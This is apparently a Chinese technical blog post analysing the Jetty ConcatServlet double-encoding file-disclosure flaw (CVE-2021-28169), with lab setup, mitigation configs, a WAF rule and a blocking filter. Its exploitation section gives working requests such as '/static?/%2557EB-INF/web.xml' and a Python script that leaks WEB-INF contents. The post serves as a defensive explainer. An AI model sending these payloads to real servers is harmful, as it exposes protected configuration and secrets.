Jetty 9.4.40前ConcatServlet漏洞深度解析:双重URL编码绕过与防御实践
1. Jetty中间件安全背景与漏洞概述
Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器,凭借其模块化设计和嵌入式特性,在微服务架构和云原生环境中广泛应用。不同于传统Web服务器的"重配置"模式,Jetty允许开发者通过简单的JAR包集成即可实现完整的Web服务功能,这种灵活性使其成为Spring Boot等框架的默认内嵌服务器选择。
在安全机制方面,Jetty通过多重防护确保资源访问的安全性:
- 路径标准化处理:自动解析
./和../等相对路径符号 - 访问控制列表:限制对
WEB-INF和META-INF等敏感目录的访问 - 编码规范化:对URL编码字符进行合规性校验
然而,2021年曝光的CVE-2021-28169漏洞暴露了Jetty在特定场景下的安全缺陷。该漏洞影响范围包括:
- Jetty 9.4.0 - 9.4.39
- Jetty 10.0.0 - 10.0.1
- Jetty 11.0.0 - 11.0.1
漏洞核心在于ConcatServlet和WelcomeFilter组件的多重解码逻辑缺陷,当开发者主动启用这些组件时(常见于静态资源合并场景),攻击者可构造特殊编码的URL绕过路径安全检查。
2. 漏洞原理与技术细节
2.1 ConcatServlet的正常工作流程
ConcatServlet是Jetty提供的静态资源合并优化组件,典型应用场景如下:
<!-- 前端页面中的使用示例 --> <link rel="stylesheet" href="/static?/css/base.css&/css/theme.css"> <script src="/static?/js/jquery.min.js&/js/app.js"></script>其标准处理流程分为四个阶段:
- 请求解析:提取问号后的资源路径列表
- 路径验证:检查每个路径是否在允许访问的目录范围内
- 内容合并:按顺序读取各文件内容
- 响应返回:根据文件类型设置Content-Type并输出
2.2 双重编码绕过机制
漏洞利用的关键在于编码解码顺序差异。Jetty处理链中存在两处解码环节:
| 处理阶段 | 解码操作 | 安全校验时机 |
|---|---|---|
| 容器层解码 | 第一次URL解码 | 校验前 |
| Servlet层解码 | 第二次URL解码 | 校验后 |
攻击者通过双重编码构造特殊路径:
原始字符:W 一次编码:%57 二次编码:%2557实际攻击中常用的变形方式包括:
- Unicode编码:
%u0057 - 空字节截断:
W%00 - 点号混淆:
%2e替代.
2.3 漏洞利用条件验证
要成功利用此漏洞,需同时满足以下条件:
- 服务器配置中显式启用了ConcatServlet或WelcomeFilter
- 攻击路径中存在可访问的WEB-INF目录
- 未部署WAF等防护设备拦截异常编码请求
可通过检查web.xml确认漏洞组件是否启用:
<!-- 存在风险的配置示例 --> <servlet> <servlet-name>concat</servlet-name> <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class> </servlet>3. 漏洞复现环境搭建
3.1 Docker环境快速部署
使用以下docker-compose.yml文件创建漏洞环境:
version: '3' services: vulnerable-jetty: image: jetty:9.4.39 ports: - "8080:8080" volumes: - ./webapps:/var/lib/jetty/webapps command: -Djetty.httpConfig.uriCompliance=LEGACY关键配置说明:
- 使用官方Jetty 9.4.39镜像
- 映射webapps目录用于部署测试应用
- 设置
uriCompliance=LEGACY启用宽松的URI解析模式
3.2 测试应用部署
在webapps目录下创建如下结构:
ROOT/ ├── WEB-INF/ │ ├── web.xml │ └── secret.properties ├── css/ │ ├── base.css │ └── theme.css └── index.htmlweb.xml中添加ConcatServlet配置:
<servlet-mapping> <servlet-name>concat</servlet-name> <url-pattern>/static/*</url-pattern> </servlet-mapping>4. 漏洞利用实战演示
4.1 手工验证步骤
正常访问测试(应返回404):
GET /static?/WEB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080双重编码攻击(返回敏感文件):
GET /static?/%2557EB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080变异Payload示例:
curl -v "http://localhost:8080/static?/%252e%252e/WEB-INF/web.xml"
4.2 自动化利用脚本
Python自动化检测脚本核心逻辑:
import requests from urllib.parse import quote def check_vulnerability(target): test_paths = [ "/WEB-INF/web.xml", "/META-INF/context.xml" ] for path in test_paths: # 双重编码构造 encoded = quote(quote(path, safe=''), safe='') url = f"{target}/static?/{encoded}" resp = requests.get(url) if resp.status_code == 200 and "xml" in resp.headers.get('Content-Type',''): print(f"[+] Vulnerable! Leaked: {path}") print(resp.text[:500]) # 输出部分内容 return True print("[-] Target appears patched") return False5. 防御方案与最佳实践
5.1 紧急修复措施
版本升级方案对比:
| 版本分支 | 修复版本 | 兼容性考虑 |
|---|---|---|
| 9.4.x | ≥9.4.40 | 适合生产环境,长期支持 |
| 10.0.x | ≥10.0.2 | 需要评估Servlet API兼容性 |
| 11.0.x | ≥11.0.2 | 需要Java 11+环境 |
5.2 配置加固建议
- 禁用危险组件:
<!-- 安全配置示例 --> <init-param> <param-name>allowPaths</param-name> <param-value>/static,/public</param-value> </init-param>- 强制严格模式: 在jetty.xml中添加:
<Call name="setUriCompliance"> <Arg><Property name="jetty.httpConfig.uriCompliance" default="RFC3986"/></Arg> </Call>5.3 纵深防御策略
WAF规则示例(ModSecurity):
SecRule REQUEST_URI "@rx %25[0-9a-fA-F]{2}" \ "id:1001,\ phase:1,\ block,\ msg:'Double URL encoding detected',\ logdata:'Matched %{MATCHED_VAR}'"架构层面防护:
- 静态资源与动态内容分离部署
- 定期扫描WEB-INF目录权限
- 实施最小权限原则运行Jetty
6. 漏洞分析方法论延伸
6.1 同类漏洞模式识别
类似的多重解码问题在其他中间件中也有出现:
| 中间件 | 漏洞编号 | 触发条件 |
|---|---|---|
| Apache Tomcat | CVE-2020-1938 | AJP协议处理 |
| Nginx | CVE-2013-4547 | 文件名解析 |
| IIS | CVE-2015-1635 | HTTP.sys处理 |
6.2 安全研究工具链
推荐使用的分析工具:
- 字节码分析:JD-GUI + Bytecode Viewer
- 流量调试:Burp Suite with Java Deserialization插件
- 环境沙箱:Docker + Jetty远程调试配置
调试参数示例:
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 \ -jar start.jar7. 企业级防护建议
对于大型企业部署,建议采取以下措施:
资产管理系统:
- 建立Jetty实例清单
- 标记使用ConcatServlet的敏感应用
持续监控方案:
-- 日志分析查询示例 SELECT COUNT(*) FROM web_logs WHERE request_uri LIKE '%25%25%' AND status_code = 200 AND time > NOW() - INTERVAL '1 hour';应急响应流程:
- 确认漏洞影响范围(受影响IP、业务系统)
- 制定回滚方案
- 更新入侵检测规则
实际项目中遇到的典型案例:某金融系统因历史原因无法立即升级,通过添加以下过滤器临时修复:
public class DoubleEncodingFilter implements Filter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; String uri = request.getRequestURI(); if(uri.contains("%25")) { ((HttpServletResponse)res).sendError(400); return; } chain.doFilter(req, res); } }